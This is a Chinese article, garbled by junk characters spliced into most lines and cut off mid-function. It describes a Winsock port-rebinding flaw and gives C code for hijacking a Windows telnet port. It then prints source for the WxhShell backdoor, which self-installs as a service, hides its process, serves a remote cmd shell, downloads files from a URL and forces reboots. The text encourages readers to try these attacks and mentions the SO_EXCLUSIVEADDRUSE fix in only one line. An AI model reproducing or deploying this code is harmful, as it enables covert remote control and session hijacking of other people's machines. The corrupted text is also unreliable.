在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
H40p86@M s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
3;{kJQ wJo}!{bN saddr.sin_family = AF_INET;
w;amZgD> ~HsJUro saddr.sin_addr.s_addr = htonl(INADDR_ANY);
N5
6g+,w%) Z=o2H Bm7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3bH'H*2 }9OC,Y8?D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
j6 z^Tt12 &@OT*pNna 这意味着什么?意味着可以进行如下的攻击:
X5$ Iyis 6?Ji7F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
xfe+n$~ c nmKp[-5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
g:8h|w) M!^az[[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
cR<fJ[* Lnl=.z`jK 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
7;wd(8 JL{VD
/f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
c<Tf
2]vZE o]oum,Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]&+s6{} 3;]H1
1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8'io$6d= +VOK%8,p #include
BUXpCxQ #include
c 3)jccWTc #include
R!gEwTk #include
)1`0PJoHE DWORD WINAPI ClientThread(LPVOID lpParam);
j'"J%e] int main()
vV-`jsq20H {
n9ej7oj WORD wVersionRequested;
\\;jw[P0 DWORD ret;
^8N}9a WSADATA wsaData;
hT+_(>hT BOOL val;
VTY 5]|; SOCKADDR_IN saddr;
e=m42vIB- SOCKADDR_IN scaddr;
RQ"
,3.R== int err;
Cjlk SOCKET s;
ar+9\ SOCKET sc;
x7<K<k;s int caddsize;
0)Wltw~`& HANDLE mt;
H8}oIA"b DWORD tid;
X2~!(WxU F wVersionRequested = MAKEWORD( 2, 2 );
mtcw#D err = WSAStartup( wVersionRequested, &wsaData );
T!)(Dv8@F if ( err != 0 ) {
{q^[a-h> printf("error!WSAStartup failed!\n");
i2SR{e8:GF return -1;
H9Q&tl9 }
O5T{eBo\ saddr.sin_family = AF_INET;
*_\_'@1|J) Yufc{M00 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$suzW;{# v O_*yh1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
1f=gYzuO) saddr.sin_port = htons(23);
":QZy8f9% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
TJXT-\Vk {
CryBwm printf("error!socket failed!\n");
LsU9 .
return -1;
bdE[;+58 }
ZyFjFHe+ val = TRUE;
z 1X` o //SO_REUSEADDR选项就是可以实现端口重绑定的
<*cikXS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
LG#t<5y~ {
{9.|2%a printf("error!setsockopt failed!\n");
A#YrWW return -1;
hf&9uHN%7m }
f
x+/C8GK //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
88wa7i* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ri-b=|h2j //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1\I}2; q9s=~d7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Jij*x>K>y {
T</F
0su| ret=GetLastError();
6?c7$Y printf("error!bind failed!\n");
NU2;X (z[ return -1;
)MTOU47U }
#Ki[$bS~6 listen(s,2);
Z=vU}S>r|v while(1)
j*r{2f4Rt {
,.FxIl] caddsize = sizeof(scaddr);
/jJw0 5;L //接受连接请求
WCixKYq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
g{&ui.ml& if(sc!=INVALID_SOCKET)
^.QzQ1=D {
k~1?VQ+?M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
XVZ if(mt==NULL)
uJ v-4H {
{&1/V printf("Thread Creat Failed!\n");
PB\x3pV!} break;
u.xnO cOH! }
s?L }
*u;Iw{.{ CloseHandle(mt);
1#+S+g@# }
YS"=yye3e closesocket(s);
P71Lqy)5}A WSACleanup();
"S?z@i(K^ return 0;
WNrk}LFof }
C!bUI8x
z DWORD WINAPI ClientThread(LPVOID lpParam)
E+;7>ja {
</*6wpN SOCKET ss = (SOCKET)lpParam;
>tW#/\x{ SOCKET sc;
sLxc(d'A unsigned char buf[4096];
o|["SYIf SOCKADDR_IN saddr;
A^<jy=F& long num;
|aq"#Ml) DWORD val;
JDT`C2-Q DWORD ret;
HLG"a3tt //如果是隐藏端口应用的话,可以在此处加一些判断
61'XgkacDS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
8FY?!C saddr.sin_family = AF_INET;
.,6-u saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-e:`|(Mo saddr.sin_port = htons(23);
Z/+#pWBI! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6(ol1
(U {
Mb~F%_ printf("error!socket failed!\n");
JZyAXm% return -1;
\
}G>8^ }
XZd,&YiaG val = 100;
f._ua>v,f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_xhax+,! ~ {
{3aua:q ret = GetLastError();
c5GuM|*7 return -1;
#QMz<P/Gl6 }
)\$|X}uny& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
97!;.f- {
+52{-a,> ret = GetLastError();
g3y+&Y_ return -1;
oNF6<A(@$ }
pFjK}JOF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
*J`O"a {
ZPYS$Ydy printf("error!socket connect failed!\n");
9x=Y^',5 closesocket(sc);
6T`i/". closesocket(ss);
bOY |H~ return -1;
d7bS
wL }
i=2N;sAl while(1)
P5ywhw- {
3(80:@| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
f4|rVP|x //如果是嗅探内容的话,可以再此处进行内容分析和记录
qUb& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
t"oeQ*d% num = recv(ss,buf,4096,0);
92oFlEJ if(num>0)
z~s PXGb send(sc,buf,num,0);
13x p_j else if(num==0)
`VguQl_,gA break;
b4N[)%@ num = recv(sc,buf,4096,0);
7B66]3v if(num>0)
#o#H?Vo9b send(ss,buf,num,0);
a9V,es"BWQ else if(num==0)
R0*|Lo$6 break;
X#^[<5 }
LZxNAua closesocket(ss);
om:VFs\U closesocket(sc);
"VMz]ybi^ return 0 ;
6(-N FnT }
K[zVa AH~E )S R.<g3"Lm> ==========================================================
rjnrju+ e$Pj.>-<= 下边附上一个代码,,WXhSHELL
SXP]%{@R/ pOoEI+t ==========================================================
DZtsy!xA ;Q`lNFa #include "stdafx.h"
dG ?*y ]3Sp W{=^( #include <stdio.h>
7WzxA=*# #include <string.h>
)zDCu` #include <windows.h>
&wDs6xq #include <winsock2.h>
o-B$J? #include <winsvc.h>
X|]AT9W #include <urlmon.h>
>Cq<@$I2EB mj7#&r,1l #pragma comment (lib, "Ws2_32.lib")
5*u+q2\F #pragma comment (lib, "urlmon.lib")
PXNuL& c'\dFb9a #define MAX_USER 100 // 最大客户端连接数
gL/9/b4 #define BUF_SOCK 200 // sock buffer
`C'H.g\>2Q #define KEY_BUFF 255 // 输入 buffer
j8:\%| J\=*#*rJ1 #define REBOOT 0 // 重启
kvu)y` #define SHUTDOWN 1 // 关机
((%?`y P?P#RhvA1 #define DEF_PORT 5000 // 监听端口
)MT}+ai tw)mepwB #define REG_LEN 16 // 注册表键长度
^E>3|du]O #define SVC_LEN 80 // NT服务名长度
~WF\ 7D_= // 从dll定义API
+G>\-tjSD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
uHRsFlw typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!&@615Vtw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
WcbiqxK7- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
- " 9 ;*2Cm'8E // wxhshell配置信息
}4X0epPp;: struct WSCFG {
]7c=PC int ws_port; // 监听端口
rEz^ char ws_passstr[REG_LEN]; // 口令
:NTO03F7v int ws_autoins; // 安装标记, 1=yes 0=no
`N8O"UcoBo char ws_regname[REG_LEN]; // 注册表键名
#}5uno char ws_svcname[REG_LEN]; // 服务名
FW DNpr char ws_svcdisp[SVC_LEN]; // 服务显示名
}"%N4(Kd char ws_svcdesc[SVC_LEN]; // 服务描述信息
M&M6;Ph char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_
jlRlt int ws_downexe; // 下载执行标记, 1=yes 0=no
P@~yx#G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7tCw*t$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:7;@ZEe H3oFORh };
P16~Qj VuZr:-K/ // default Wxhshell configuration
-yNlyHv9 struct WSCFG wscfg={DEF_PORT,
Z0r'S]fe "xuhuanlingzhe",
yEy6]f+>+ 1,
\o3gKoL% "Wxhshell",
m+$VVn3Z} "Wxhshell",
<9b&<K: "WxhShell Service",
XL/u#EA0< "Wrsky Windows CmdShell Service",
V>3X\)qu "Please Input Your Password: ",
XQw9~$ 1,
)0k53-h& "
http://www.wrsky.com/wxhshell.exe",
}c:M^Ff "Wxhshell.exe"
3Tm+g2w2V8 };
d2L&Z_} I)HPO,7 // 消息定义模块
3=V&K- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'dc#F3 char *msg_ws_prompt="\n\r? for help\n\r#>";
|;{6&S char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
7_[L o4_ char *msg_ws_ext="\n\rExit.";
-$Ih@2"6 char *msg_ws_end="\n\rQuit.";
~)M~EX&pK char *msg_ws_boot="\n\rReboot...";
Yx`n:0 char *msg_ws_poff="\n\rShutdown...";
dqcL]e char *msg_ws_down="\n\rSave to ";
|JsZJ9W+J Y}KNKO; char *msg_ws_err="\n\rErr!";
`kSZX:=}; char *msg_ws_ok="\n\rOK!";
`XDl_E+>l RT8 ?7xFc char ExeFile[MAX_PATH];
G^@5H/) int nUser = 0;
M )(DZ} HANDLE handles[MAX_USER];
Z4bNV?OH int OsIsNt;
LFV%&y|L
05 ^h" SERVICE_STATUS serviceStatus;
/BL4<T f SERVICE_STATUS_HANDLE hServiceStatusHandle;
tX~w{|k cm+P]8o%{ // 函数声明
i"=\d int Install(void);
-$g#I int Uninstall(void);
r:
:b int DownloadFile(char *sURL, SOCKET wsh);
`@yp+8 int Boot(int flag);
PQE=D0 void HideProc(void);
DVeE1Q int GetOsVer(void);
2B`JGFcdcB int Wxhshell(SOCKET wsl);
#lO Mm9 void TalkWithClient(void *cs);
`EQL" =) int CmdShell(SOCKET sock);
aDN`6[ int StartFromService(void);
3$
PV2" int StartWxhshell(LPSTR lpCmdLine);
TkF[x%o bW:!5"_{H VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
MpOc VOID WINAPI NTServiceHandler( DWORD fdwControl );
V]?R>qhgu l}P=/#</T // 数据结构和表定义
u$`a7Lp,n SERVICE_TABLE_ENTRY DispatchTable[] =
lk =<A"^S {
!PE]C!*gv& {wscfg.ws_svcname, NTServiceMain},
1AFA=t:]p {NULL, NULL}
NCD04U5y };
EhBKj |y 5Ynd c)Z // 自我安装
[_:nHZb int Install(void)
)YI(/*+] {
A?0Nm{O;3v char svExeFile[MAX_PATH];
O33`+UV"W HKEY key;
^kSqsT" strcpy(svExeFile,ExeFile);
0IWf!Sk
] Gp\
kU:}& // 如果是win9x系统,修改注册表设为自启动
4{Z)8;QX if(!OsIsNt) {
h>bx}$q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(QiAisE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
O.JN ENZf RegCloseKey(key);
UL9n-M= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,]/X\t5]D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
TJ*T:?>e RegCloseKey(key);
\^1E4C\": return 0;
Zgb!E]V[ }
N)Z?Z+}h }
EBmt9S }
#|``ca54B else {
/wlEe>i B|X!>Q<g // 如果是NT以上系统,安装为系统服务
-%4,@
x` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]{>,rK[So if (schSCManager!=0)
%xt^698&X {
V^~:F SC_HANDLE schService = CreateService
Xlt|nX~#; (
%N_%JK\{@ schSCManager,
FE;x8(;W8 wscfg.ws_svcname,
uvS)8-o&F wscfg.ws_svcdisp,
E<*xx#p SERVICE_ALL_ACCESS,
C9 j|OSgk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
YA5g';$H* SERVICE_AUTO_START,
[a<SDMR SERVICE_ERROR_NORMAL,
_Bj":rzY svExeFile,
ijU*|8n{> NULL,
\lNN Msd& NULL,
M"To&?OI NULL,
|e0`nn= NULL,
/_ajaz% NULL
A+?`?pOm& );
Uoix if (schService!=0)
Ef{Vp;] {
AkiDL=;w CloseServiceHandle(schService);
.5{ab\_af CloseServiceHandle(schSCManager);
=H]@n|$( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
2I{"XB strcat(svExeFile,wscfg.ws_svcname);
pI<f) r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
l}M!8:UzU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
o[D9I
hs RegCloseKey(key);
Srd4))2/0 return 0;
is@?VklnB }
5Jnlz@P9 }
E&:,oG2M CloseServiceHandle(schSCManager);
I1&aM}y{G }
MnW+25=N }
FML(4BY, Wh{tZ~c return 1;
%e} Saf }
bi;1s'Y<D g<
.qUBPKX // 自我卸载
Rbv;?'O$L int Uninstall(void)
;YL i{ {
?!/kZM_ts HKEY key;
h2J
x]FJ BING{ew if(!OsIsNt) {
El"Q'(:/U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S:ztXhif> RegDeleteValue(key,wscfg.ws_regname);
KJZ4AWH` RegCloseKey(key);
+m,yA mEEd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2^yU ~`# RegDeleteValue(key,wscfg.ws_regname);
iO;
7t@]- RegCloseKey(key);
,~W|]/b<q return 0;
x'R`.
!g3 }
Od)C&N=y }
9(wK@ }
Wo=jskBrQ else {
;i:d+!3XwC }*"p?L^p{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!jR=pI fq if (schSCManager!=0)
sCHJ&>m5- {
"C`Ub SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[}]Q?*_ if (schService!=0)
S>1Iky|
{
-A!%*9Z if(DeleteService(schService)!=0) {
7Hu3>4< CloseServiceHandle(schService);
P7/X|M z CloseServiceHandle(schSCManager);
FaJ &GOM, return 0;
5l*&>C[(i }
G,w(d@ CloseServiceHandle(schService);
Thit }
VY\&8n}e( CloseServiceHandle(schSCManager);
SasJic2M }
)53y
AyP }
du^J2m{f 8)I^ t81 return 1;
H$4:lH&( }
h 9W^[6 /&94 eC // 从指定url下载文件
,zY$8y] int DownloadFile(char *sURL, SOCKET wsh)
'uEl~> l7 {
2jhxQL HRESULT hr;
1|wL\I char seps[]= "/";
f&
' char *token;
N] sAji* char *file;
I~XSn>-H char myURL[MAX_PATH];
uGlUc<B\* char myFILE[MAX_PATH];
rw
#$lP J-hbh strcpy(myURL,sURL);
&:)Wh[ token=strtok(myURL,seps);
'!$Rw"K. while(token!=NULL)
MFk5K {
@;RXLq/8 file=token;
u.Dz~$T token=strtok(NULL,seps);
CeC6hGR5 }
~/P[J vRO
_Q? GetCurrentDirectory(MAX_PATH,myFILE);
BThrO d strcat(myFILE, "\\");
?5
7Sk+ strcat(myFILE, file);
%bfQ$a: send(wsh,myFILE,strlen(myFILE),0);
<UQbt N-B\ send(wsh,"...",3,0);
tZG:Pr1U@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
z' >_Mc6 if(hr==S_OK)
n6a`;0f[R return 0;
HC,Se.VYS else
E~oOKQ5W return 1;
Y0-n\| @I!0-OjL }
)Z9>$V$j ,01"SWE // 系统电源模块
?.;c$' int Boot(int flag)
e**qF=HCw {
[HZv8HU| HANDLE hToken;
6,{$J TOKEN_PRIVILEGES tkp;
ZzT9j~ Y/zj[> if(OsIsNt) {
QMb Ouw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(JFWna0@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
t{vJM!kdlQ tkp.PrivilegeCount = 1;
:Fvrs(
x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
u:_,GQ )\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;;N9>M?b if(flag==REBOOT) {
OpYY{f if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
AkQ~k0i}b return 0;
|8tilOqI }
j#q-^h3H else {
z ~/` 1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:X
(=z;B;N return 0;
}S<2A7)el }
x+@rg];m }
'AH0ww_)n else {
o:Sa,
!DK if(flag==REBOOT) {
?2Py_gkf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
L0WN\|D return 0;
a HR"n|7{ }
Gu\q%'I else {
M:B=\&.O if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U#WF;q0L return 0;
n]o<S+z }
3m!X/u }
)
ahA[ sN01rtB(UT return 1;
Vb]=B~ ^` }
%2V? ,zY@ +}os&[S // win9x进程隐藏模块
0[?Xxk}s0 void HideProc(void)
@O^6&\s> {
R|87%&6'] jLHkOk5{: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
)W
_v:?A9 if ( hKernel != NULL )
h^(*Tv-! {
_H7x9
y= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
EaY?aAuS: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0rs"o-s< FreeLibrary(hKernel);
]:k/Y$O2 }
uo%)1NS! 1JG'%8}#8 return;
C{xaENp }
w;:*P j[J-f@F \Y // 获取操作系统版本
/dI&o,sA int GetOsVer(void)
'/p/8V.O. {
XnMvKPerv' OSVERSIONINFO winfo;
"
9wvPC ^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3<f}nfB%r? GetVersionEx(&winfo);
>7T'OC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Q1I6$8:7 return 1;
3J|F?M"N7 else
5 ,B_u%bb return 0;
CXx*_@}MU }
yfjWbW [
=9T*Sp // 客户端句柄模块
t:
;Pj9 int Wxhshell(SOCKET wsl)
2,b(,3{`4: {
W ]?G}Q; SOCKET wsh;
h-K_Lr] struct sockaddr_in client;
=M[bnq*\ DWORD myID;
SaAFz&WRl }"P|`"WW while(nUser<MAX_USER)
1N#|
}ad {
aU "8{ int nSize=sizeof(client);
5o'FS{6U wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
o!Ieb if(wsh==INVALID_SOCKET) return 1;
/}fHt^2H qHplJ " handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
bL+_j}{:N if(handles[nUser]==0)
U}e!Wjrc closesocket(wsh);
^?7-r6 else
I7vz+>Jr nUser++;
)@l% }
n&;85IF1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.B]MpmpK {JO return 0;
;!mzyb* }
FaQe_; 2~1SQ.Q<RY // 关闭 socket
y^,1a[U. void CloseIt(SOCKET wsh)
]}-7_n#cC {
F|o:W75 closesocket(wsh);
V6&!9b nUser--;
?GoR^p #p ExitThread(0);
:Ij{s }
9N%We|L,c 0d"[l@UU0 // 客户端请求句柄
qo90t{|c void TalkWithClient(void *cs)
1R{!]uh {
q77;ZPfs8 <EB+1GFuI SOCKET wsh=(SOCKET)cs;
U0
Yll4E char pwd[SVC_LEN];
HZzD VCU char cmd[KEY_BUFF];
MSQEO4ge char chr[1];
o/$} int i,j;
fo*2:?K& \=?a/ while (nUser < MAX_USER) {
hLd^ agX c)TPM/>(p if(wscfg.ws_passstr) {
BOb">6C if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g|DF[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xaq-.IQAM$ //ZeroMemory(pwd,KEY_BUFF);
$<dH?%!7 i=0;
W+aP}rZm: while(i<SVC_LEN) {
jiV<+T? F 5bj=mI // 设置超时
jH5
k fd_set FdRead;
=\&;Fi] struct timeval TimeOut;
NR5gj-B[ FD_ZERO(&FdRead);
&Cq`Y !y FD_SET(wsh,&FdRead);
&=@IzmA TimeOut.tv_sec=8;
3Gp$a;g TimeOut.tv_usec=0;
?(' wn< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0rQMLx if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>a!/QMh m)ky*"( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Go`vfm"S pwd
=chr[0]; vjbASFF0=
if(chr[0]==0xd || chr[0]==0xa) { ''A_[J `>
pwd=0; n$MO4s8)
break; KB3Htw%W[+
} e/KDw
i++; rT=rrvV3g
} j"t(0m
vONasD9At
// 如果是非法用户,关闭 socket *<$*"p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (+w*[qHe
} 6+#Ydii9E
=m]v8`g
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2prU
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -V*R\,>
GL>O4S<`
while(1) { afCW(zHp
/ H[=5
ZeroMemory(cmd,KEY_BUFF); Hck]aKI+
<O(4TO
// 自动支持客户端 telnet标准 |%BOZT
j=0; 70yFaW
while(j<KEY_BUFF) { fF!Yp iI"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h/QXPdV
cmd[j]=chr[0]; !4ocZmj\
if(chr[0]==0xa || chr[0]==0xd) { KaLzg5is
cmd[j]=0; Z\(q@3 C
break; z 4e7PW|
} =Pyj%4Rs
j++; prUN)r@U
} P7[h-3+^
frm>4)9+
// 下载文件 lne|5{h
if(strstr(cmd,"http://")) { BwN0!lsF3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); pE3?"YO
if(DownloadFile(cmd,wsh)) SJlr53
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WqR&&gz
else D5gFXEeh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s-NX o
} mtpeRVcF
else { .97])E[U
<jBF[v9*m(
switch(cmd[0]) { Ucb F|vkI
.y'>[
// 帮助 3xy<tqfr
case '?': { V%t.l
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DcS+_>a\{l
break; {Ea
b
j
} xf'V{9*
// 安装 "-E\[@/
case 'i': { &.F4b~A7
if(Install()) `{8K.(])s!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Y@Gyx!4
else 4XL^D~V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oe ~'o'
break; :ffY6L+
} HRpte=`q
// 卸载 f'F?MINJP
case 'r': { Q*GN`07@?d
if(Uninstall()) mwO6g~@`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^23~ZHu
else 1wii8B6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2zX]\s?3
break; B4ZBq%Z_
} ynp 8rf
// 显示 wxhshell 所在路径 YByLoM*
case 'p': { Q1lyj7c#x
char svExeFile[MAX_PATH]; V~qNyOtA]
strcpy(svExeFile,"\n\r"); ~\r*
strcat(svExeFile,ExeFile); HGl|-nW>
send(wsh,svExeFile,strlen(svExeFile),0); TbMW|0 #w
break; MnmVl"(/
} hy9\57_#
// 重启 1l9G[o
*
case 'b': { [=C6U_vU
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v<k?Vu
if(Boot(REBOOT)) ; cNv\t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y-Fo=y
else { ^ G]J ,+
closesocket(wsh); 6]i-E>p3R
ExitThread(0); S*pGMuui
} Xa[.3=bV?
break; y4yhF8E>;U
} ^"E^zHM(
// 关机 UB@Rs|)
case 'd': { ip\sXVR
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z>xmRs
if(Boot(SHUTDOWN)) rDtY[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K&u_R
else { cUk7i`M;6
closesocket(wsh); `Uq#W+r,
ExitThread(0); vN}#Kc\
} O}gV`q;
break; ~ZaY!(R<
} UJUEYG
// 获取shell KV91)U
case 's': { \eTwXe]Pv
CmdShell(wsh); Fk7?xc
closesocket(wsh); "> ypIR<
ExitThread(0); $L`d&$Vh
break; 'JtBZFq
} >\R+9p:o
// 退出 /|w6:;$;mn
case 'x': { `6;?9NI
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e
v}S+!|U
CloseIt(wsh); OHN _
break; RIR\']WN
} _1X!EH"
// 离开 BX/8O<s0
case 'q': { ?JbilK}a
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +D6YR$_<
closesocket(wsh); y<UK:^t31V
WSACleanup(); j{ ]I]\=?
exit(1); alJ)^OSIe
break; 2F;y;l%
} E#34Wh2z
} s3N'02G
} MBK^FR-K
O;Rqv
// 提示信息 /A\8 mL8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !"e5h`/ADM
} B^=-Z8
} t3WiomNCc
.N;=\C*
return; DDQx
g
} !vi>U|rh
q_lKKzA
// shell模块句柄
Q>qUk@
int CmdShell(SOCKET sock) t|?ez4/{z
{ j a[Et/r
STARTUPINFO si; J`Q>3]wL
ZeroMemory(&si,sizeof(si)); $GV7o{"&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3m[vXr?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 3iUi9P
PROCESS_INFORMATION ProcessInfo; MR7}s4o
char cmdline[]="cmd";
p>,|50|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YpHg&|Fr
return 0; @)+AaC#-
} gk4;>}
Z3e| UAif
// 自身启动模式 /V8#[9K
int StartFromService(void) yqs4[C
{ "s-"<&>a(
typedef struct a~`eQ_ND
{ k8yEdi`
DWORD ExitStatus; Eh`7X=Z7E
DWORD PebBaseAddress; Ufj`euY
